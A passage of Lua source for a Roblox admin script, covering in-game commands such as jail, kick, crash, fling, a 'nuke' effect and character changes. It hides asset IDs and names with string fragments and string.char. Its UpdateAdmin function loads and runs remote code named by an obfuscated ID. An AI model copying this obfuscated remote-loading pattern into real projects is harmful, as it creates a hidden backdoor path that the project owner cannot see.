		Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
912
	end
913
	if Answer == "Yes" or CORE:NilPlayer(Speaker) then
914
		if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
915
		for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
916
			for _,Item in pairs(Player:GetChildren()) do
917
				if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
918
					Item:Destroy()
919
				end
920
			end
921
			for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
922
				if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
923
					GUI:Destroy()
924
				end
925
			end
926
		end end
927
		for _,Car in pairs(Cars) do
928
			Car:Destroy()
929
		end
930
		CORE:FixLighting()
931
		while wait() do
932
			if script:FindFirstChild("Override") then script.Override.Value = true end
933
			Settings,CORE,IRC = nil,{},{}
934
			if Sound then Sound:Stop() end
935
			if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
936
			script:ClearAllChildren() script:Destroy() script.Disabled = true
937
		end
938
	end
939
end
940
941
function CORE:MakeBase()
942
	for _,Get in pairs(Workspace:GetChildren()) do
943
		if Get.Name == "Base" or Get.Name == "BasePlate" then
944
			Get:Destroy()
945
		end
946
	end
947
	local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
948
end
949
950
function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
951
	if IsAbusive == nil then IsAbusive = false end
952
	if Commands[CommandName] then table.remove(Commands[CommandName]) end
953
	Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
954
end
955
956
function CORE:FixLighting() coroutine.wrap(function()
957
	ModLighting = false
958
	wait(0.2)
959
	Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
960
	Server.Lighting.FogColor = Color3.new(0,0,0)
961
	Server.Lighting.Brightness = 1
962
	Server.Lighting.TimeOfDay = 14
963
	Server.Lighting.FogEnd = 100000
964
end)() end
965
966
function CORE:Round(Number)
967
	if Number >= 0.5 then
968
		return math.ceil(Number)
969
	elseif Number < 0.5 then
970
		return math.floor(Number)
971
	end
972
end
973
974
local AdminID,Got = nil,false
975
repeat wait()
976
	Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
977
until Got == true
978
979
function CORE:GetTable(ID)
980
	local Thing = nil
981
	repeat wait()
982
		ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
983
	until Thing
984
	return Thing
985
end
986
987
function CORE:InAdminGroup(Speaker)
988
	local IsIn = false
989
	for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
990
		if Speaker:IsInGroup(Get) then
991
			IsIn = true
992
		end
993
	end
994
	if IsIn == true then 
995
		return true 
996
	else
997
		GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
998
		return false
999
	end
1000
end
1001
1002
function CORE:ReverseTable(Table)
1003
	if type(Table) ~= "table" then return Table end
1004
	local NewTable = {}
1005
	for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1006
	return NewTable
1007
end
1008
1009
function CORE:Log(LogTable, Player, Chat)
1010
	local PlayerName = tostring(Player)
1011
	if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1012
	table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1013
end
1014
1015
function CORE:Jail(Player)
1016
	if not Player then return nil end
1017
	local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1018
	Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1019
	local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1020
	local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1021
	local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1022
	local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1023
	Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1024
	Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1025
	Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1026
	local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1027
	Cell:MoveTo(Vector3.new(0,3,0))
1028
	
1029
	if Player.Character and Player.Character:FindFirstChild("Torso") then
1030
		Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1031
		Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1032
	end
1033
	table.insert(Dispose, Cell)
1034
	Jails[Player.Name] = Cell
1035
end
1036
1037
function CORE:UnJail(Player)
1038
	if not Player then return nil end
1039
	if Jails[Player.Name] then
1040
		Jails[Player.Name]:Destroy()
1041
		Jails[Player.Name] = nil
1042
	end
1043
end
1044
1045
function CORE:ChangeName(Player, NewName)
1046
	if not Player or not NewName then return nil end
1047
	if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1048
		local NewName = STRING:FormatReplace(Player, NewName)
1049
		
1050
		for _,Obj in pairs(Player.Character:GetChildren()) do
1051
			if Obj.Name == "Label" then Obj:Destroy() end
1052
		end
1053
		
1054
		local Head = Player.Character.Head
1055
		local HeadClone = Head:Clone()
1056
		
1057
		-- make actual head invisible
1058
		Head.Transparency = 1
1059
		ypcall(function() Head.face.Transparency = 1 end)
1060
1061
		-- make fake head visible
1062
		HeadClone.Transparency = 0
1063
		ypcall(function() HeadClone.face.Transparency = 0 end)
1064
1065
		local Label = Instance.new("Model", Player.Character)
1066
		Label.Name = "Label"
1067
1068
		local Model = Instance.new("Model", Label)
1069
		Model.Name = NewName
1070
1071
		local HumanoidClone = Instance.new("Humanoid", Model)
1072
		coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1073
1074
		HeadClone.Position = Vector3.new(0,100,0)
1075
		HeadClone.CanCollide = false
1076
		ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1077
		
1078
		
1079
		Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1080
			HeadClone.Parent = Model
1081
			local Weld = Instance.new("Weld", HeadClone)
1082
			Weld.Part0 = HeadClone
1083
			Weld.Part1 = Head
1084
		end)
1085
	end
1086
end
1087
1088
function CORE:UpdateAdmin()
1089
	if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1090
		return nil
1091
	end
1092
	local UpdateModel = AdminID
1093
	if UpdateModel == 0 then return end
1094
	local NewAdminModel = nil
1095
	ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1096
	if NewAdminModel then
1097
		local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1098
		if NewAdmin then
1099
			local NewVersion = NewAdmin:FindFirstChild("Version")
1100
			if NewVersion.Value ~= CORE.Version.Value then
1101
				if ExploitModule then
1102
					ExploitModule.Disabled = true
1103
					ExploitModule:Destroy()
1104
				end
1105
				NewAdmin.Disabled = true
1106
				NewAdmin.Parent = Workspace
1107
				if not Settings then
1108
					local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1109
					if NewSettings then NewSettings.Parent = Workspace end
1110
				end
1111
				wait() NewAdmin.Disabled = false
1112
				CORE:RemoveAdmin()
1113
			else
1114
				NewAdminModel:Destroy()
1115
			end
1116
		end
1117
	end
1118
end
1119
1120
function CORE:UnpackPlayers(Players)
1121
	local PlayerNames = ""
1122
	for Num,Player in pairs(Players) do
1123
		if Player ~= nil then
1124
			if Num ~= #Players then
1125
				PlayerNames = PlayerNames..Player.Name..", "
1126
			else
1127
				PlayerNames = PlayerNames..Player.Name
1128
			end
1129
		end
1130
	end
1131
	return PlayerNames
1132
end
1133
1134
function CORE:GetValue(Value)
1135
	if Value:IsA("StringValue") then
1136
		if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1137
		if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1138
		if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1139
		if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1140
		if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1141
		if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1142
		if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then 
1143
			for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1144
				if Admin == Value.Value then
1145
					table.remove(Settings.Ranks["Admin"],Num)
1146
				end
1147
			end
1148
		end end
1149
	end
1150
end
1151
1152
function CORE:GetPlayer(ID)
1153
	local Return = {"Unknown", ID}
1154
	if tonumber(ID) then
1155
		for _,Data in pairs(CharacterCache) do
1156
			if ID == Data[2] then
1157
				return Data
1158
			end
1159
		end
1160
		ypcall(function()
1161
			local Name = Server.Players:GetNameFromUserIdAsync(ID)
1162
			if Name then
1163
				local Data = {Name, ID}
1164
				table.insert(CharacterCache, Data)
1165
				Return = Data
1166
			end
1167
		end)
1168
	else
1169
		local Name = tostring(ID)
1170
		for _,Data in pairs(CharacterCache) do
1171
			if string.lower(Name) == string.lower(Data[1]) then
1172
				return Data
1173
			end
1174
		end
1175
		ypcall(function()
1176
			local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1177
			if PlayerID then
1178
				Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1179
				local Data = {Name, PlayerID}
1180
				table.insert(CharacterCache, Data)
1181
				Return = Data
1182
			end
1183
		end)
1184
	end
1185
	
1186
	return Return
1187
end
1188
1189
function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1190
	if ID and #tostring(ID) >= 1 then
1191
		local PlayerName = nil
1192
		
1193
		local Players = STRING:Scan(ID, Speaker)
1194
		if #Players >= 1 then -- if player is found in server
1195
			ID = Players[1].UserId
1196
		elseif tonumber(ID) then
1197
			local Data = CORE:GetPlayer(ID)
1198
			PlayerName = Data[1]
1199
		else
1200
			local Data = CORE:GetPlayer(tostring(ID))
1201
			PlayerName = Data[1]
1202
			ID = Data[2]
1203
		end
1204
		
1205
		if tonumber(ID) == 20018 then -- exploding easter bunny
1206
			local OldID = ID
1207
			ID = 1
1208
			if Speaker then
1209
				if RANK:GetRank(Speaker) == "Member" then
1210
					coroutine.wrap(function()
1211
						wait(1)
1212
						GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1213
					end)()
1214
				else ID = OldID
1215
				end
1216
			end
1217
		elseif tonumber(ID) == 1311 then -- ffjosh
1218
			local OldID = ID
1219
			ID = 1
1220
			if Speaker then
1221
				if RANK:GetRank(Speaker) == "Member" then
1222
					coroutine.wrap(function()
1223
						wait(1)
1224
						GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1225
					end)()
1226
				else ID = OldID
1227
				end
1228
			end
1229
		end
1230
		
1231
		if tonumber(ID) then
1232
			local Position = nil
1233
			if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1234
				if ManualPos then
1235
					Position = ManualPos
1236
				else
1237
					Position = Player.Character.Torso.Position
1238
				end
1239
			end
1240
			Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1241
			wait() Player:LoadCharacter() wait()
1242
			if Position then Player.Character:MoveTo(Position) end
1243
			if not Perm then
1244
				Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1245
			end
1246
			if NameChar and PlayerName then
1247
				wait(2)
1248
				CORE:ChangeName(Player, PlayerName)
1249
			end
1250
		end
1251
	end
1252
end)() end
1253
1254
function CORE:GenerateShield(Player)
1255
	if not Player then return nil end
1256
	if not Player.Character then return nil end
1257
	local Torso = Player.Character:FindFirstChild("Torso")
1258
	if not Torso then return nil end
1259
	
1260
	local Shield = Player.Character:FindFirstChild("Shield")
1261
	if Shield then Shield:Destroy() end
1262
	
1263
	Shield = Instance.new("Part", Player.Character)
1264
	Shield.Name = "Shield"
1265
	Shield.Locked = true
1266
	Shield.CanCollide = false
1267
	Shield.Size = Vector3.new(10,10,10)
1268
	Shield.Shape = "Ball"
1269
	Shield.Color = GUI:GetColor()
1270
	Shield.Transparency = 0.5
1271
	Shield.TopSurface = "Smooth"
1272
	Shield.BottomSurface = "Smooth"
1273
	Shield.Anchored = true
1274
	Shield.Position = Torso.Position
1275
	
1276
	local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1277
	local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1278
	
1279
	Hum:Play()
1280
	
1281
	Shield.Touched:connect(function(Part)
1282
		if Part.Parent ~= Server.Workspace then
1283
			local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1284
			if Humanoid then
1285
				local Char = Humanoid.Parent
1286
				if Char:IsA("Model") and Humanoid.Health > 0 then
1287
					if Char ~= Player.Character then
1288
						Char:BreakJoints()
1289
						Zap:Play()
1290
					end
1291
				end
1292
			end
1293
		end
1294
	end)
1295
	
1296
	coroutine.wrap(function() repeat wait()
1297
		Shield.CFrame = Torso.CFrame
1298
	until Torso.Parent == nil or Shield.Parent == nil end)()
1299
end
1300
1301
function CORE:FlingPlayer(Player)
1302
	if Player and Player.Character then
1303
		if Player.Character:FindFirstChild("Torso") then
1304
			local Fling = Instance.new("BodyForce", Player.Character.Torso)
1305
			Fling.Name = "Fling"
1306
			Fling.force = Vector3.new(10000,10000,10000)
1307
		end
1308
	end
1309
end
1310
1311
function CORE:Kick(Player, CustomMessage)
1312
	if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1313
	coroutine.wrap(function() 
1314
		CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1315
		wait(1)
1316
		Player:Kick(CustomMessage)
1317
	end)()
1318
end
1319
1320
function CORE:Crash(Player)
1321
	local Parent = Player
1322
	if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1323
	elseif Player.Character then Parent = Player.Character end
1324
	
1325
	CORE:ExecuteResource("Crash", Parent)
1326
end
1327
1328
function CORE:RestoreCamera(Player)
1329
	if Player.Backpack then
1330
		CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1331
	end
1332
end
1333
1334
function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1335
	local function ScanInstance(Object)
1336
		if #Object:GetChildren() > 0 then
1337
			for _,Obj in pairs(Object:GetChildren()) do
1338
				local IsType = false
1339
				if ObjTypes and #ObjTypes > 0 then
1340
					for _,ObjType in pairs(ObjTypes) do
1341
						if Obj:IsA(ObjType) then
1342
							IsType = true
1343
							break
1344
						end
1345
					end
1346
				else
1347
					IsType = true
1348
				end
1349
				if IsType == true then
1350
					ActiveFunc(Obj)
1351
				end
1352
				ScanInstance(Obj)
1353
			end
1354
		end
1355
	end
1356
	ScanInstance(BaseObj)
1357
end
1358
1359
function CORE:AnchorPlayer(Player)
1360
	if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1361
	
1362
	Player.Character.Humanoid.WalkSpeed = 0
1363
	for _,Object in pairs(Player.Character:GetChildren()) do
1364
		if Object:IsA("BasePart") then
1365
			Object.Anchored = true
1366
		end
1367
	end
1368
end
1369
1370
function CORE:UnanchorPlayer(Player)
1371
	if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1372
	
1373
	Player.Character.Humanoid.WalkSpeed = 16
1374
	for _,Object in pairs(Player.Character:GetChildren()) do
1375
		if Object:IsA("BasePart") then
1376
			Object.Anchored = false
1377
		end
1378
	end
1379
end
1380
1381
function CORE:InvisiblePlayer(Player)
1382
	if not Player or not Player.Character then return end
1383
	
1384
	CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1385
end
1386
1387
function CORE:VisiblePlayer(Player)
1388
	if not Player or not Player.Character then return end
1389
	
1390
	CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1391
end
1392
1393
function CORE:Nuke(Player) coroutine.wrap(function()
1394
	local Pos = CFrame.new(0,1,0)
1395
	if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1396
	local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1397
	local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1398
	local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1399
	local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1400
	local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1401
	
1402
	local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1403
	
1404
	Server.Lighting.Brightness = 5
1405
	Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1406
	Server.OutdoorAmbient = Color3.new(1,1,1)
1407
	
1408
	local Exp = Instance.new("Explosion", Server.Workspace)
1409
	Exp.Position = Pos.p
1410
	Exp.BlastPressure = 10000000
1411
	Exp.BlastRadius = 1000000
1412
	Exp.Hit:connect(function(Part)
1413
		if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1414
			ypcall(function()
1415
				Part.Anchored = false
1416
				Part.BrickColor = BrickColor.new("Black")
1417
				Part.Material = "Slate"
1418
				Part:BreakJoints()	
1419
			end)
1420
		end
1421
	end)
1422
1423
	local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1424
	BoomSound:Play()
1425
	for i = 0,100,0.5 do
1426
		Blast.Anchored = true
1427
		Wave.Anchored = true
1428
		BlastMesh.Scale = Vector3.new(i,i,i)
1429
		WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1430
		Blast.CFrame = Pos
1431
		wait()
1432
	end
1433
	BoomSound:Stop()
1434
	Blast:Destroy()
1435
	Wave:Destroy()
1436
	wait()
1437
	BoomSound:Destroy()
1438
	Effect:Destroy()
1439
	for i = 10,5,-1 do
1440
		Server.Lighting.Brightness = (i-5) + 1
1441
		Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1442
		Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1443
		wait(0.05)
1444
	end
1445
end)() end
1446
1447
function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1448
	local AssetID = tonumber(AssetID)
1449
	local Item = nil
1450
	if AssetID and AssetID ~= 1055299 then
1451
		local CanInsert = true
1452
		if AbuseMode then
1453
			for _,ID in pairs(RemoteAbuseGear) do
1454
				if AssetID == tonumber(ID) then CanInsert = false break end
1455
			end
1456
			for _,ID in pairs(Settings.AbusableGear) do
1457
				if AssetID == tonumber(ID) then CanInsert = false break end
1458
			end
1459
		end
1460
		if CanInsert then
1461
			Item = Server.IS:LoadAsset(AssetID)
1462
			if GetFirstChild then
1463
				Item = Item:GetChildren()[1]
1464
				if FirstChildTypes and Item then
1465
					local ValidType = false
1466
					for _,Type in pairs(FirstChildTypes) do
1467
						if Item:IsA(Type) then
1468
							ValidType = true
1469
							break
1470
						end
1471
					end
1472
					if ValidType == false then
1473
						Item = nil
1474
					end
1475
				end
1476
			end
1477
			if Item and Parent then
1478
				Item.Parent = Parent
1479
			end
1480
		end
1481
	end
1482
	return Item
1483
end
1484
1485
function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1486
	if not Player or not Player.Character then return nil end
1487
	PID = tonumber(PID)
1488
	for _,Obj in pairs(Player.Character:GetChildren()) do
1489
		if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1490
	end
1491
	if PID then
1492
		-- back when we needed HttpService to get packages.
1493
		--[[
1494
		if PackageCache[PID] then
1495
			for _,ID in pairs(PackageCache[PID]) do
1496
				CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1497
			end
1498
		else
1499
			local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1500
			if IDsJSON then
1501
				local IDs = REMOTE:Decode(IDsJSON)
1502
				if IDs then
1503
					if not IDs["Error"] then
1504
						table.insert(PackageCache, IDs)
1505
						for _,ID in pairs(IDs) do
1506
							CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1507
						end
1508
					end
1509
				end
1510
			end
1511
		end
1512
		]]
1513
		-- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1514
		local IDs = {}
1515
		ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1516
		if #IDs > 0 then
1517
			for _,ID in pairs(IDs) do
1518
				local PackagePart = CORE:Insert(ID)
1519
				for _,Obj in pairs(PackagePart:GetChildren()) do
1520
					if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1521
						Obj.Parent = Player.Character
1522
					elseif Obj:IsA("Folder") then
1523
						if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1524
							Obj:GetChildren()[1].Parent = Player.Character
1525
						end
1526
					end
1527
				end
1528
			end
1529
		end
1530
	end
1531
end)() end
1532
1533
function CORE:ChangeBet(Bet)
1534
	if tostring(Bet) and Bet ~= Settings.Bet then
1535
		for Index,Data in pairs(Commands) do
1536
			Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1537
		end
1538
		Settings.Bet = Bet
1539
	end
1540
end
1541
1542
function CORE:ResetLighting()
1543
	ModLighting = false wait(0.2) ModLighting = true
1544
end
1545
1546
function CORE:Fly(Player, Force)
1547
	if Player and Player.Character then
1548
		local StopFly = Instance.new("RemoteFunction", Player.Character)
1549
		StopFly.Name = "StopMMLFly"
1550
		CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1551
	end
1552
end
1553
1554
function CORE:GiveTools(Player, Type)
1555
	if not Player or not Player:FindFirstChild("Backpack") then return nil end
1556
	Type = string.lower(Type)
1557
	local _,RankNum = RANK:GetRank(Player)
1558
	local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1559
	local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1560
	
1561
	if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1562
		for Name,Type in pairs(BaseBuildTools) do
1563
			local Tool = Instance.new("HopperBin", Player.Backpack)
1564
			Tool.Name = Name
1565
			Tool.BinType = Type
1566
		end
1567
	elseif Type == "psbtools" then
1568
		for _,Tool in pairs(BuildTools) do
1569
			CORE:Insert(Tool, Player.Backpack, true)
1570
		end
1571
	elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1572
		if F3X then
1573
			local F3X = F3X:Clone()
1574
			F3X.Parent = Player.Backpack
1575
		end
1576
	elseif Type == "btools" then
1577
		if F3X then
1578
			local F3X = F3X:Clone()
1579
			F3X.Parent = Player.Backpack
1580
		end
1581
		for Name,Type in pairs(BaseBuildTools) do
1582
			local Tool = Instance.new("HopperBin", Player.Backpack)
1583
			Tool.Name = Name
1584
			Tool.BinType = Type
1585
		end
1586
		for _,Tool in pairs(BuildTools) do
1587
			CORE:Insert(Tool, Player.Backpack, true)
1588
		end
1589
	else
1590
		for _,Region in pairs(ToolRegions) do
1591
			CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1592
				if Type == "all" then
1593
					local NewItem = Item:Clone()
1594
					NewItem.Parent = Player.Backpack
1595
				elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1596
					local NewItem = Item:Clone()
1597
					NewItem.Parent = Player.Backpack
1598
				end
1599
			end)
1600
		end
1601
	end
1602
end
1603
1604
function CORE:Scale(Player, ScalePercent)
1605
	if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1606
	local Ratio = ScalePercent/100
1607
	if Ratio < 0.05 then Ratio = 0.05 end
1608
	if Ratio > 100 then Ratio = 100 end
1609
	if Ratio > 1 then Ratio = math.ceil(Ratio) end
1610
	local Char = Player.Character
1611
	
1612
	local Clean = Char:FindFirstChild("Clean")
1613
	if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1614
	Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1615
1616
	local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1617
		local Welds = {}
1618
		local Parts = {}
1619
		
1620
		local function Handle(Obj)
1621
			if Obj:IsA("BasePart") and not JustWeld then
1622
				table.insert(Parts, Obj)
1623
			elseif Obj:IsA("SpecialMesh") and not JustWeld then
1624
				if Obj.Name == "MML Mesh" then
1625
					Obj:Destroy()
1626
				end
1627
				if Obj.MeshType == Enum.MeshType.FileMesh then
1628
					Obj.Offset = Obj.Offset * ScaleRatio
1629
					Obj.Scale = Obj.Scale * ScaleRatio
1630
				elseif Ratio < 1 then
1631
					Obj.Offset = Obj.Offset * ScaleRatio
1632
					Obj.Scale = Obj.Scale * ScaleRatio
1633
				end
1634
			elseif Obj:IsA("CharacterMesh") and not JustWeld then
1635
				if Ratio < 1 then
1636
					local BodyPart = ""
1637
					local TextureID = Obj.BaseTextureId
1638
					if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1639
					if TextureID == 0 then TextureID = nil end
1640
					if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1641
					if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1642
					if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1643
					if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1644
					if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1645
					if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1646
					local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1647
					NewMesh.Name = "MML Mesh"
1648
					NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1649
					if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1650
					NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1651
					Obj:Destroy()
1652
				end
1653
			elseif Obj:IsA("JointInstance") then
1654
